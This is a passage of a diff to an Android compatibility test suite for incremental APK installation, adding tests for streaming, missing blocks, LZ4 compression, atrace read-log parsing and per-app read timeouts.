         String param = Arrays.stream(files).map(
                 file -> file.getName() + ":" + file.length()).collect(Collectors.joining(" "));
@@ -175,7 +211,199 @@
                         (apkfile.length() + splitfile.length()), param),
                 files));
         assertTrue(isAppInstalled(TEST_APP_PACKAGE));
-        assertEquals("base, config.hdpi", getSplits(TEST_APP_PACKAGE));
+        assertEquals("base, config.mdpi", getSplits(TEST_APP_PACKAGE));
+    }
+
+    @LargeTest
+    @Test
+    public void testInstallWithStreaming() throws Exception {
+        final String apk = createApkPath(TEST_APK);
+        final String idsig = createApkPath(TEST_APK_IDSIG);
+        mSession =
+                new IncrementalInstallSession.Builder()
+                        .addApk(Paths.get(apk), Paths.get(idsig))
+                        .addExtraArgs("-t", "-i", CTS_PACKAGE_NAME)
+                        .setLogger(new IncrementalDeviceConnection.Logger())
+                        .build();
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            mSession.start(Executors.newSingleThreadExecutor(),
+                    IncrementalDeviceConnection.Factory.reliable());
+            mSession.waitForInstallCompleted(30, TimeUnit.SECONDS);
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+    }
+
+    @LargeTest
+    @Test
+    public void testInstallWithMissingBlocks() throws Exception {
+        setDeviceProperty("incfs_default_timeouts", "0:0:0");
+        setDeviceProperty("known_digesters_list", CTS_PACKAGE_NAME);
+        setSystemProperty("debug.incremental.always_enable_read_timeouts_for_system_dataloaders",
+                "0");
+
+        final long randomSeed = System.currentTimeMillis();
+        Log.i(TAG, "Randomizing missing blocks with seed: " + randomSeed);
+        final Random random = new Random(randomSeed);
+
+        // TODO: add detection of orphaned IncFS instances after failed installations
+
+        final int blockSize = 4096;
+        final int retries = 7; // 7 * 3s + leeway ~= 30secs of test timeout
+
+        final File apk = new File(createApkPath(TEST_APK));
+        final int blocks = (int) (apk.length() / blockSize);
+
+        for (int i = 0; i < retries; ++i) {
+            final int skipBlock = random.nextInt(blocks);
+            Log.i(TAG, "skipBlock: " + skipBlock + " out of " + blocks);
+            try {
+                installWithBlockFilter((block -> block.getType() == PendingBlock.Type.SIGNATURE_TREE
+                        || block.getBlockIndex() != skipBlock));
+                if (isAppInstalled(TEST_APP_PACKAGE)) {
+                    uninstallPackageSilently(TEST_APP_PACKAGE);
+                }
+            } catch (RuntimeException re) {
+                Log.i(TAG, "RuntimeException: ", re);
+                assertTrue(re.toString(), re.getCause() instanceof IOException);
+            } catch (IOException e) {
+                Log.i(TAG, "IOException: ", e);
+                throw e;
+            }
+        }
+    }
+
+    public void installWithBlockFilter(IBlockFilter blockFilter) throws Exception {
+        final String apk = createApkPath(TEST_APK);
+        final String idsig = createApkPath(TEST_APK_IDSIG);
+        mSession =
+                new IncrementalInstallSession.Builder()
+                        .addApk(Paths.get(apk), Paths.get(idsig))
+                        .addExtraArgs("-t", "-i", CTS_PACKAGE_NAME)
+                        .setLogger(new IncrementalDeviceConnection.Logger())
+                        .setBlockFilter(blockFilter)
+                        .build();
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            mSession.start(Executors.newSingleThreadExecutor(),
+                    IncrementalDeviceConnection.Factory.reliableExpectInstallationFailure());
+            mSession.waitForAnyCompletion(3, TimeUnit.SECONDS);
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Compress the data if the compressed size is < original size, otherwise return the original
+     * data.
+     */
+    private static ByteBuffer maybeCompressPage(ByteBuffer pageData) {
+        pageData.mark();
+        ByteArrayOutputStream compressedByteStream = new ByteArrayOutputStream();
+        try (BlockLZ4CompressorOutputStream compressor =
+                     new BlockLZ4CompressorOutputStream(compressedByteStream)) {
+            Channels.newChannel(compressor).write(pageData);
+            // This is required to make sure the bytes are written to the output
+            compressor.finish();
+        } catch (IOException impossible) {
+            throw new AssertionError(impossible);
+        } finally {
+            pageData.reset();
+        }
+
+        byte[] compressedBytes = compressedByteStream.toByteArray();
+        if (compressedBytes.length < pageData.remaining()) {
+            return ByteBuffer.wrap(compressedBytes);
+        }
+        return pageData;
+    }
+
+    static final class CompressedPendingBlock extends PendingBlock {
+        final ByteBuffer mPageData;
+
+        CompressedPendingBlock(PendingBlock block) throws IOException {
+            super(block);
+
+            final ByteBuffer buffer = ByteBuffer.allocate(super.getBlockSize());
+            super.readBlockData(buffer);
+            buffer.flip(); // switch to read mode
+
+            if (super.getType() == Type.APK_DATA) {
+                mPageData = maybeCompressPage(buffer);
+            } else {
+                mPageData = buffer;
+            }
+        }
+
+        public Compression getCompression() {
+            return this.getBlockSize() < super.getBlockSize() ? Compression.LZ4 : Compression.NONE;
+        }
+
+        public short getBlockSize() {
+            return (short) mPageData.remaining();
+        }
+
+        public void readBlockData(ByteBuffer buffer) throws IOException {
+            mPageData.mark();
+            buffer.put(mPageData);
+            mPageData.reset();
+        }
+    }
+
+    static final class CompressingBlockTransformer implements IBlockTransformer {
+        @Override
+        @NonNull
+        public PendingBlock transform(@NonNull PendingBlock block) throws IOException {
+            return new CompressedPendingBlock(block);
+        }
+    }
+
+    @LargeTest
+    @Test
+    public void testInstallWithStreamingAndCompression() throws Exception {
+        final String apk = createApkPath(TEST_APK);
+        final String idsig = createApkPath(TEST_APK_IDSIG);
+        mSession =
+                new IncrementalInstallSession.Builder()
+                        .addApk(Paths.get(apk), Paths.get(idsig))
+                        .addExtraArgs("-t", "-i", CTS_PACKAGE_NAME)
+                        .setLogger(new IncrementalDeviceConnection.Logger())
+                        .setBlockTransformer(new CompressingBlockTransformer())
+                        .build();
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            mSession.start(Executors.newSingleThreadExecutor(),
+                    IncrementalDeviceConnection.Factory.reliable());
+            mSession.waitForInstallCompleted(30, TimeUnit.SECONDS);
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+    }
+
+    @LargeTest
+    @Test
+    public void testInstallWithStreamingUnreliableConnection() throws Exception {
+        final String apk = createApkPath(TEST_APK);
+        final String idsig = createApkPath(TEST_APK_IDSIG);
+        mSession =
+                new IncrementalInstallSession.Builder()
+                        .addApk(Paths.get(apk), Paths.get(idsig))
+                        .addExtraArgs("-t", "-i", CTS_PACKAGE_NAME)
+                        .setLogger(new IncrementalDeviceConnection.Logger())
+                        .build();
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            mSession.start(Executors.newSingleThreadExecutor(),
+                    IncrementalDeviceConnection.Factory.ureliable());
+            mSession.waitForInstallCompleted(30, TimeUnit.SECONDS);
+        } catch (Exception ignored) {
+            // Ignore, we are looking for crashes anyway.
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
     }
 
     @Test
@@ -188,6 +416,7 @@
         assertFalse(isAppInstalled(TEST_APP_PACKAGE));
     }
 
+    @LargeTest
     @Test
     public void testInstallWithIdSigStreamIncompleteData() throws Exception {
         File file = new File(createApkPath(TEST_APK));
@@ -195,16 +424,405 @@
         // Streaming happens in blocks of 1024 bytes, new length will not stream the last block.
         long newLength = length - (length % 1024 == 0 ? 1024 : length % 1024);
         assertTrue(
-                executeShellCommand("pm install-incremental -t -g -S " + length,
-                        new File[]{file}, new long[]{newLength}).contains(
-                        "Failure"));
+                executeShellCommand(
+                        "pm install-incremental -t -g -S " + length,
+                        new File[] {file},
+                        new long[] {newLength})
+                        .contains("Failure"));
         assertFalse(isAppInstalled(TEST_APP_PACKAGE));
     }
 
+    @LargeTest
+    @Test
+    public void testInstallWithIdSigNoMissingPages() throws Exception {
+        final int installIterations = 1;
+        final int atraceDumpIterations = 3;
+        final int atraceDumpDelayMs = 1000;
+        final String missingPageReads = "|missing_page_reads: count=";
+
+        final ArrayList<String> missingPages = new ArrayList<>();
+
+        checkSysTrace(
+                installIterations,
+                atraceDumpIterations,
+                atraceDumpDelayMs,
+                () -> {
+                    // Install multiple splits so that digesters won't kick in.
+                    installPackage(TEST_APK);
+                    installSplit(TEST_APK_SPLIT0);
+                    installSplit(TEST_APK_SPLIT1);
+                    installSplit(TEST_APK_SPLIT2);
+                    // Now read it as fast as we can.
+                    readSplitInChunks("base.apk");
+                    readSplitInChunks("split_config.mdpi.apk");
+                    readSplitInChunks("split_config.hdpi.apk");
+                    readSplitInChunks("split_config.xhdpi.apk");
+                    return null;
+                },
+                (stdout) -> {
+                    try (Scanner scanner = new Scanner(stdout)) {
+                        ReadLogEntry prevLogEntry = null;
+                        while (scanner.hasNextLine()) {
+                            final String line = scanner.nextLine();
+
+                            final ReadLogEntry readLogEntry = ReadLogEntry.parse(line);
+                            if (readLogEntry != null) {
+                                prevLogEntry = readLogEntry;
+                                continue;
+                            }
+
+                            int missingPageIdx = line.indexOf(missingPageReads);
+                            if (missingPageIdx == -1) {
+                                continue;
+                            }
+                            String missingBlocks = line.substring(
+                                    missingPageIdx + missingPageReads.length());
+
+                            int prvTimestamp = prevLogEntry != null ? extractTimestamp(
+                                    prevLogEntry.line) : -1;
+                            int curTimestamp = extractTimestamp(line);
+                            if (prvTimestamp == -1 || curTimestamp == -1) {
+                                missingPages.add("count=" + missingBlocks);
+                                continue;
+                            }
+
+                            int delta = curTimestamp - prvTimestamp;
+                            missingPages.add(
+                                    "count=" + missingBlocks + ", timestamp delta=" + delta + "ms");
+                        }
+                        return false;
+                    }
+                });
+
+        assertTrue("Missing page reads found in atrace dump: " + String.join("\n", missingPages),
+                missingPages.isEmpty());
+    }
+
+    static class ReadLogEntry {
+        public final String line;
+        public final int blockIdx;
+        public final int count;
+        public final int fileIdx;
+        public final int appId;
+        public final int userId;
+
+        private ReadLogEntry(String line, int blockIdx, int count, int fileIdx, int appId,
+                int userId) {
+            this.line = line;
+            this.blockIdx = blockIdx;
+            this.count = count;
+            this.fileIdx = fileIdx;
+            this.appId = appId;
+            this.userId = userId;
+        }
+
+        public String toString() {
+            return blockIdx + "/" + count + "/" + fileIdx + "/" + appId + "/" + userId;
+        }
+
+        static final String BLOCK_PREFIX = "|page_read: index=";
+        static final String COUNT_PREFIX = " count=";
+        static final String FILE_PREFIX = " file=";
+        static final String APP_ID_PREFIX = " appid=";
+        static final String USER_ID_PREFIX = " userid=";
+
+        private static int parseInt(String line, int prefixIdx, int prefixLen, int endIdx) {
+            if (prefixIdx == -1) {
+                return -1;
+            }
+            final String intStr;
+            if (endIdx != -1) {
+                intStr = line.substring(prefixIdx + prefixLen, endIdx);
+            } else {
+                intStr = line.substring(prefixIdx + prefixLen);
+            }
+
+            return Integer.parseInt(intStr);
+        }
+
+        static ReadLogEntry parse(String line) {
+            int blockIdx = line.indexOf(BLOCK_PREFIX);
+            if (blockIdx == -1) {
+                return null;
+            }
+            int countIdx = line.indexOf(COUNT_PREFIX, blockIdx + BLOCK_PREFIX.length());
+            if (countIdx == -1) {
+                return null;
+            }
+            int fileIdx = line.indexOf(FILE_PREFIX, countIdx + COUNT_PREFIX.length());
+            if (fileIdx == -1) {
+                return null;
+            }
+            int appIdIdx = line.indexOf(APP_ID_PREFIX, fileIdx + FILE_PREFIX.length());
+            final int userIdIdx;
+            if (appIdIdx != -1) {
+                userIdIdx = line.indexOf(USER_ID_PREFIX, appIdIdx + APP_ID_PREFIX.length());
+            } else {
+                userIdIdx = -1;
+            }
+
+            return new ReadLogEntry(
+                    line,
+                    parseInt(line, blockIdx, BLOCK_PREFIX.length(), countIdx),
+                    parseInt(line, countIdx, COUNT_PREFIX.length(), fileIdx),
+                    parseInt(line, fileIdx, FILE_PREFIX.length(), appIdIdx),
+                    parseInt(line, appIdIdx, APP_ID_PREFIX.length(), userIdIdx),
+                    parseInt(line, userIdIdx, USER_ID_PREFIX.length(), -1));
+        }
+    }
+
+    @Test
+    public void testReadLogParser() throws Exception {
+        assertEquals(null, ReadLogEntry.parse("# tracer: nop\n"));
+        assertEquals(
+                "178/290/0/10184/0",
+                ReadLogEntry.parse(
+                        "<...>-2777  ( 1639) [006] ....  2764.227110: tracing_mark_write: "
+                                + "B|1639|page_read: index=178 count=290 file=0 appid=10184 "
+                                + "userid=0")
+                        .toString());
+        assertEquals(
+                null,
+                ReadLogEntry.parse(
+                        "<...>-2777  ( 1639) [006] ....  2764.227111: tracing_mark_write: E|1639"));
+        assertEquals(
+                "468/337/0/10184/2",
+                ReadLogEntry.parse(
+                        "<...>-2777  ( 1639) [006] ....  2764.243227: tracing_mark_write: "
+                                + "B|1639|page_read: index=468 count=337 file=0 appid=10184 "
+                                + "userid=2")
+                        .toString());
+        assertEquals(
+                null,
+                ReadLogEntry.parse(
+                        "<...>-2777  ( 1639) [006] ....  2764.243229: tracing_mark_write: E|1639"));
+        assertEquals(
+                "18/9/3/-1/-1",
+                ReadLogEntry.parse(
+                        "           <...>-2777  ( 1639) [006] ....  2764.227095: "
+                                + "tracing_mark_write: B|1639|page_read: index=18 count=9 file=3")
+                        .toString());
+    }
+
+    static int extractTimestamp(String line) {
+        final String timestampEnd = ": tracing_mark_write:";
+        int timestampEndIdx = line.indexOf(timestampEnd);
+        if (timestampEndIdx == -1) {
+            return -1;
+        }
+
+        int timestampBegIdx = timestampEndIdx - 1;
+        for (; timestampBegIdx >= 0; --timestampBegIdx) {
+            char ch = line.charAt(timestampBegIdx);
+            if ('0' <= ch && ch <= '9' || ch == '.') {
+                continue;
+            }
+            break;
+        }
+        double timestamp = Double.parseDouble(line.substring(timestampBegIdx, timestampEndIdx));
+        return (int) (timestamp * 1000);
+    }
+
+    @Test
+    public void testExtractTimestamp() throws Exception {
+        assertEquals(-1, extractTimestamp("# tracer: nop\n"));
+        assertEquals(14255168, extractTimestamp(
+                "<...>-10355 ( 1636) [006] .... 14255.168694: tracing_mark_write: "
+                        + "B|1636|page_read: index=1 count=16 file=0 appid=10184 userid=0"));
+        assertEquals(2764243, extractTimestamp(
+                "<...>-2777  ( 1639) [006] ....  2764.243225: tracing_mark_write: "
+                        + "B|1639|missing_page_reads: count=132"));
+    }
+
+    static class AppReads {
+        public final String packageName;
+        public final int reads;
+
+        AppReads(String packageName, int reads) {
+            this.packageName = packageName;
+            this.reads = reads;
+        }
+    }
+
+    @LargeTest
+    @Test
+    // @Ignore("Pending fix in GMSCore")
+    public void testInstallWithIdSigNoDigesting() throws Exception {
+        // Overall timeout of 3secs in 100ms intervals.
+        final int installIterations = 1;
+        final int atraceDumpIterations = 30;
+        final int atraceDumpDelayMs = 100;
+        final int blockSize = 4096;
+
+        File apkfile = new File(createApkPath(TEST_APK));
+        int blocks = (int) ((apkfile.length() + blockSize - 1) / blockSize);
+        boolean[] touched = new boolean[blocks];
+
+        final ArrayMap<Integer, Integer> uids = new ArrayMap<>();
+
+        final AtomicInteger totalTouchedBlocks = new AtomicInteger(0);
+        checkSysTrace(
+                installIterations,
+                atraceDumpIterations,
+                atraceDumpDelayMs,
+                () -> installPackage(TEST_APK),
+                (stdout) -> {
+                    try (Scanner scanner = new Scanner(stdout)) {
+                        while (scanner.hasNextLine()) {
+                            final ReadLogEntry readLogEntry = ReadLogEntry.parse(
+                                    scanner.nextLine());
+                            if (readLogEntry == null) {
+                                continue;
+                            }
+                            for (int i = 0, count = readLogEntry.count; i < count; ++i) {
+                                int blockIdx = readLogEntry.blockIdx + i;
+                                if (touched[blockIdx]) {
+                                    continue;
+                                }
+
+                                touched[blockIdx] = true;
+
+                                int uid = UserHandle.getUid(readLogEntry.userId,
+                                        readLogEntry.appId);
+                                Integer touchedByUid = uids.get(uid);
+                                uids.put(uid, touchedByUid == null ? 1 : touchedByUid + 1);
+
+                                if (totalTouchedBlocks.incrementAndGet() >= blocks) {
+                                    return true;
+                                }
+                            }
+                        }
+                        return false;
+                    }
+                });
+
+        if (totalTouchedBlocks.get() < blocks) {
+            return;
+        }
+
+        PackageManager pm = getPackageManager();
+
+        AppReads[] appIdReads = new AppReads[uids.size()];
+        for (int i = 0, size = uids.size(); i < size; ++i) {
+            final int uid = uids.keyAt(i);
+            final int appId = UserHandle.getAppId(uid);
+            final int userId = UserHandle.getUserId(uid);
+
+            final String packageName;
+            if (appId < Process.FIRST_APPLICATION_UID) {
+                packageName = "<system>";
+            } else {
+                String[] packages = pm.getPackagesForUid(uid);
+                if (packages == null || packages.length == 0) {
+                    packageName = "<unknown package, appId=" + appId + ", userId=" + userId + ">";
+                } else {
+                    packageName = "[" + String.join(",", packages) + "]";
+                }
+            }
+            appIdReads[i] = new AppReads(packageName, uids.valueAt(i));
+        }
+        Arrays.sort(appIdReads, (lhs, rhs) -> Integer.compare(rhs.reads, lhs.reads));
+
+        final String packages = String.join("\n", Arrays.stream(appIdReads).map(
+                item -> item.packageName + " : " + item.reads + " blocks").toArray(String[]::new));
+        assertTrue("Digesting detected, list of packages: " + packages,
+                totalTouchedBlocks.get() < blocks);
+    }
+
+    @LargeTest
+    @Test
+    public void testInstallWithIdSigPerUidTimeouts() throws Exception {
+        executeShellCommand("atrace --async_start -b 1024 -c adb");
+        try {
+            setDeviceProperty("incfs_default_timeouts", "5000000:5000000:5000000");
+            setDeviceProperty("known_digesters_list", CTS_PACKAGE_NAME);
+
+            installPackage(TEST_APK);
+            assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        } finally {
+            executeShellCommand("atrace --async_stop");
+        }
+    }
+
+    @LargeTest
+    @Test
+    public void testInstallWithIdSigStreamPerUidTimeoutsIncompleteData() throws Exception {
+        checkIncrementalDeliveryV2Feature();
+
+        mSession =
+                new IncrementalInstallSession.Builder()
+                        .addApk(Paths.get(createApkPath(TEST_APK)),
+                                Paths.get(createApkPath(TEST_APK_IDSIG)))
+                        .addApk(Paths.get(createApkPath(TEST_APK_SPLIT0)),
+                                Paths.get(createApkPath(TEST_APK_SPLIT0_IDSIG)))
+                        .addApk(Paths.get(createApkPath(TEST_APK_SPLIT1)),
+                                Paths.get(createApkPath(TEST_APK_SPLIT1_IDSIG)))
+                        .addExtraArgs("-t", "-i", CTS_PACKAGE_NAME)
+                        .setLogger(new IncrementalDeviceConnection.Logger())
+                        .build();
+
+        executeShellCommand("atrace --async_start -b 1024 -c adb");
+        try {
+            setDeviceProperty("incfs_default_timeouts", "5000000:5000000:5000000");
+            setDeviceProperty("known_digesters_list", CTS_PACKAGE_NAME);
+
+            final int beforeReadDelayMs = 1000;
+            Thread.currentThread().sleep(beforeReadDelayMs);
+
+            // Partially install the apk+split0+split1.
+            getUiAutomation().adoptShellPermissionIdentity();
+            try {
+                mSession.start(Executors.newSingleThreadExecutor(),
+                        IncrementalDeviceConnection.Factory.reliable());
+                mSession.waitForInstallCompleted(30, TimeUnit.SECONDS);
+                assertEquals("base, config.hdpi, config.mdpi", getSplits(TEST_APP_PACKAGE));
+            } finally {
+                getUiAutomation().dropShellPermissionIdentity();
+            }
+
+            // Try to read a split and see if we are throttled.
+            final File apkToRead = getSplit("split_config.mdpi.apk");
+            final long readTime0 = readAndReportTime(apkToRead, 1000);
+
+            assertTrue(
+                    "Must take longer than " + EXPECTED_READ_TIME + "ms: time0=" + readTime0 + "ms",
+                    readTime0 >= EXPECTED_READ_TIME);
+        } finally {
+            executeShellCommand("atrace --async_stop");
+        }
+    }
+
+    @LargeTest
+    @Test
+    public void testInstallWithIdSigPerUidTimeoutsIgnored() throws Exception {
+        // Timeouts would be ignored as there are no readlogs collected.
+        final int beforeReadDelayMs = 5000;
+        setDeviceProperty("incfs_default_timeouts", "5000000:5000000:5000000");
+        setDeviceProperty("known_digesters_list", CTS_PACKAGE_NAME);
+
+        // First fully install the apk and a split0.
+        {
+            installPackage(TEST_APK);
+            assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+            installSplit(TEST_APK_SPLIT0);
+            assertEquals("base, config.mdpi", getSplits(TEST_APP_PACKAGE));
+            installSplit(TEST_APK_SPLIT1);
+            assertEquals("base, config.hdpi, config.mdpi", getSplits(TEST_APP_PACKAGE));
+        }
+
+        // Allow IncrementalService to update the timeouts after full download.
+        Thread.currentThread().sleep(beforeReadDelayMs);
+
+        // Try to read a split and see if we are throttled.
+        final long readTime = readAndReportTime(getSplit("split_config.mdpi.apk"), 1000);
+        assertTrue("Must take less than " + EXPECTED_READ_TIME + "ms vs " + readTime + "ms",
+                readTime < EXPECTED_READ_TIME);
+    }
+
     @Test
     public void testInstallWithIdSigStreamIncompleteDataForSplit() throws Exception {
         File apkfile = new File(createApkPath(TEST_APK));
-        File splitfile = new File(createApkPath(TEST_APK_SPLIT));
+        File splitfile = new File(createApkPath(TEST_APK_SPLIT0));
         long splitLength = splitfile.length();
         // Don't fully stream the split.
         long newSplitLength = splitLength - (splitLength % 1024 == 0 ? 1024 : splitLength % 1024);
@@ -233,28 +851,65 @@
 
     @LargeTest
     @Test
-    public void testInstallSysTrace() throws Exception {
-        // Async atrace dump uses less resources but requires periodic pulls.
-        // Overall timeout of 30secs in 100ms intervals should be enough.
-        final int atraceDumpIterations = 300;
-        final int atraceDumpDelayMs = 100;
+    public void testInstallSysTraceDebuggable() throws Exception {
+        doTestInstallSysTrace(TEST_APK);
+    }
 
+    @LargeTest
+    @Test
+    public void testInstallSysTraceProfileable() throws Exception {
+        doTestInstallSysTrace(TEST_APK_PROFILEABLE);
+    }
+
+    @LargeTest
+    @Test
+    public void testInstallSysTraceNoReadlogs() throws Exception {
+        setSystemProperty("debug.incremental.enforce_readlogs_max_interval_for_system_dataloaders",
+                "1");
+        setSystemProperty("debug.incremental.readlogs_max_interval_sec", "0");
+
+        final int atraceDumpIterations = 30;
+        final int atraceDumpDelayMs = 100;
         final String expected = "|page_read:";
-        final ByteArrayOutputStream result = new ByteArrayOutputStream();
+
+        // We don't expect any readlogs with 0sec interval.
+        assertFalse(
+                "Page reads (" + expected + ") were found in atrace dump",
+                checkSysTraceForSubstring(TEST_APK, expected, atraceDumpIterations,
+                        atraceDumpDelayMs));
+    }
+
+    private boolean checkSysTraceForSubstring(String testApk, final String expected,
+            int atraceDumpIterations, int atraceDumpDelayMs) throws Exception {
+        final int installIterations = 3;
+        return checkSysTrace(
+                installIterations,
+                atraceDumpIterations,
+                atraceDumpDelayMs,
+                () -> installPackage(testApk),
+                (stdout) -> stdout.contains(expected));
+    }
+
+    private boolean checkSysTrace(
+            int installIterations,
+            int atraceDumpIterations,
+            int atraceDumpDelayMs,
+            final Callable<Void> installer,
+            final Function<String, Boolean> checker)
+            throws Exception {
+        final int beforeReadDelayMs = 1000;
+
+        final CompletableFuture<Boolean> result = new CompletableFuture<>();
         final Thread readFromProcess = new Thread(() -> {
             try {
-                executeShellCommand("atrace --async_start -b 1024 -c adb");
+                executeShellCommand("atrace --async_start -b 10240 -c adb");
                 try {
                     for (int i = 0; i < atraceDumpIterations; ++i) {
-                        final ParcelFileDescriptor stdout = getUiAutomation().executeShellCommand(
-                                "atrace --async_dump");
-                        try (InputStream inputStream =
-                                     new ParcelFileDescriptor.AutoCloseInputStream(
-                                stdout)) {
-                            final String found = waitForSubstring(inputStream, expected);
-                            if (!TextUtils.isEmpty(found)) {
-                                result.write(found.getBytes());
-                                return;
+                        final String stdout = executeShellCommand("atrace --async_dump");
+                        try {
+                            if (checker.apply(stdout)) {
+                                result.complete(true);
+                                break;
                             }
                             Thread.currentThread().sleep(atraceDumpDelayMs);
                         } catch (InterruptedException ignored) {
@@ -268,14 +923,28 @@
         });
         readFromProcess.start();
 
-        for (int i = 0; i < 3; ++i) {
-            installPackage(TEST_APK);
+        for (int i = 0; i < installIterations; ++i) {
+            installer.call();
             assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+            Thread.currentThread().sleep(beforeReadDelayMs);
             uninstallPackageSilently(TEST_APP_PACKAGE);
         }
 
         readFromProcess.join();
-        assertNotEquals(0, result.size());
+        return result.getNow(false);
+    }
+
+    private void doTestInstallSysTrace(String testApk) throws Exception {
+        // Async atrace dump uses less resources but requires periodic pulls.
+        // Overall timeout of 10secs in 100ms intervals should be enough.
+        final int atraceDumpIterations = 100;
+        final int atraceDumpDelayMs = 100;
+        final String expected = "|page_read:";
+
+        assertTrue(
+                "No page reads (" + expected + ") found in atrace dump",
+                checkSysTraceForSubstring(testApk, expected, atraceDumpIterations,
+                        atraceDumpDelayMs));
     }
 
     private boolean isAppInstalled(String packageName) throws IOException {
@@ -286,8 +955,23 @@
     }
 
     private String getSplits(String packageName) throws IOException {
+        final String result = parsePackageDump(packageName, "    splits=[");
+        if (TextUtils.isEmpty(result)) {
+            return null;
+        }
+        return result.substring(0, result.length() - 1);
+    }
+
+    private String getCodePath(String packageName) throws IOException {
+        return parsePackageDump(packageName, "    codePath=");
+    }
+
+    private File getSplit(String splitName) throws Exception {
+        return new File(getCodePath(TEST_APP_PACKAGE), splitName);
+    }
+
+    private String parsePackageDump(String packageName, String prefix) throws IOException {
         final String commandResult = executeShellCommand("pm dump " + packageName);
-        final String prefix = "    splits=[";
         final int prefixLength = prefix.length();
         Optional<String> maybeSplits = Arrays.stream(commandResult.split("\\r?\\n"))
                 .filter(line -> line.startsWith(prefix)).findFirst();
@@ -295,21 +979,179 @@
             return null;
         }
         String splits = maybeSplits.get();
-        return splits.substring(prefixLength, splits.length() - 1);
+        return splits.substring(prefixLength);
     }
 
     private static String createApkPath(String baseName) {
         return TEST_APK_PATH + baseName;
     }
 
-    private void installPackage(String baseName) throws IOException {
+    private Void installPackage(String baseName) throws IOException {
         File file = new File(createApkPath(baseName));
         assertEquals("Success\n",
                 executeShellCommand("pm install-incremental -t -g " + file.getPath()));
+        return null;
+    }
+
+    private void installSplit(String splitName) throws Exception {
+        final File splitfile = new File(createApkPath(splitName));
+
+        try (InputStream inputStream = executeShellCommandStream(
+                "pm install-incremental -t -g -p " + TEST_APP_PACKAGE + " "
+                        + splitfile.getPath())) {
+            assertEquals("Success\n", readFullStream(inputStream));
+        }
+    }
+
+    private void readSplitInChunks(String splitName) throws Exception {
+        final int chunks = 2;
+        final int waitBetweenChunksMs = 100;
+        final File file = getSplit(splitName);
+
+        assertTrue(file.toString(), file.exists());
+        final long totalSize = file.length();
+        final long chunkSize = totalSize / chunks;
+        try (InputStream baseApkStream = new FileInputStream(file)) {
+            final byte[] buffer = new byte[4 * 1024];
+            long readSoFar = 0;
+            long maxToRead = 0;
+            for (int i = 0; i < chunks; ++i) {
+                maxToRead += chunkSize;
+                int length;
+                while ((length = baseApkStream.read(buffer)) != -1) {
+                    readSoFar += length;
+                    if (readSoFar >= maxToRead) {
+                        break;
+                    }
+                }
+                if (readSoFar < totalSize) {
+                    Thread.currentThread().sleep(waitBetweenChunksMs);
+                }
+            }
+        }
+    }
+
+    private long readAndReportTime(File file, long borderTime) throws Exception {
+        assertTrue(file.toString(), file.exists());
+        final long startTime = SystemClock.uptimeMillis();
+        long readTime = 0;
+        try (InputStream baseApkStream = new FileInputStream(file)) {
+            final byte[] buffer = new byte[128 * 1024];
+            while (baseApkStream.read(buffer) != -1) {
+                readTime = SystemClock.uptimeMillis() - startTime;
+                if (readTime >= borderTime) {
+                    break;
+                }
+            }
+        }
+        return readTime;
     }
 
     private String uninstallPackageSilently(String packageName) throws IOException {
         return executeShellCommand("pm uninstall " + packageName);
     }
+
+    interface Result {
+        boolean await() throws Exception;
+    }
+
+    private static String executeShellCommand(String command) throws IOException {
+        try (InputStream inputStream = executeShellCommandStream(command)) {
+            return readFullStream(inputStream);
+        }
+    }
+
+    private static InputStream executeShellCommandStream(String command) throws IOException {
+        final ParcelFileDescriptor stdout = getUiAutomation().executeShellCommand(command);
+        return new ParcelFileDescriptor.AutoCloseInputStream(stdout);
+    }
+
+    private static String executeShellCommand(String command, File[] inputs)
+            throws IOException {
+        return executeShellCommand(command, inputs, Stream.of(inputs).mapToLong(
+                File::length).toArray());
+    }
+
+    private static String executeShellCommand(String command, File[] inputs, long[] expected)
+            throws IOException {
+        try (InputStream inputStream = executeShellCommandRw(command, inputs, expected)) {
+            return readFullStream(inputStream);
+        }
+    }
+
+    private static InputStream executeShellCommandRw(String command, File[] inputs, long[] expected)
+            throws IOException {
+        assertEquals(inputs.length, expected.length);
+        final ParcelFileDescriptor[] pfds =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                        .executeShellCommandRw(command);
+        ParcelFileDescriptor stdout = pfds[0];
+        ParcelFileDescriptor stdin = pfds[1];
+        try (FileOutputStream outputStream = new ParcelFileDescriptor.AutoCloseOutputStream(
+                stdin)) {
+            for (int i = 0; i < inputs.length; i++) {
+                try (FileInputStream inputStream = new FileInputStream(inputs[i])) {
+                    writeFullStream(inputStream, outputStream, expected[i]);
+                }
+            }
+        }
+        return new ParcelFileDescriptor.AutoCloseInputStream(stdout);
+    }
+
+    private static String readFullStream(InputStream inputStream, long expected)
+            throws IOException {
+        ByteArrayOutputStream result = new ByteArrayOutputStream();
+        writeFullStream(inputStream, result, expected);
+        return result.toString("UTF-8");
+    }
+
+    private static String readFullStream(InputStream inputStream) throws IOException {
+        return readFullStream(inputStream, -1);
+    }
+
+    private static void writeFullStream(InputStream inputStream, OutputStream outputStream,
+            long expected)
+            throws IOException {
+        final byte[] buffer = new byte[1024];
+        long total = 0;
+        int length;
+        while ((length = inputStream.read(buffer)) != -1 && (expected < 0 || total < expected)) {
+            outputStream.write(buffer, 0, length);
+            total += length;
+        }
+        if (expected > 0) {
+            assertEquals(expected, total);
+        }
+    }
+
+    private void cleanup() throws Exception {
+        uninstallPackageSilently(TEST_APP_PACKAGE);
+        assertFalse(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals(null, getSplits(TEST_APP_PACKAGE));
+        setDeviceProperty("incfs_default_timeouts", null);
+        setDeviceProperty("known_digesters_list", null);
+        setSystemProperty("debug.incremental.enforce_readlogs_max_interval_for_system_dataloaders",
+                "0");
+        setSystemProperty("debug.incremental.readlogs_max_interval_sec", "10000");
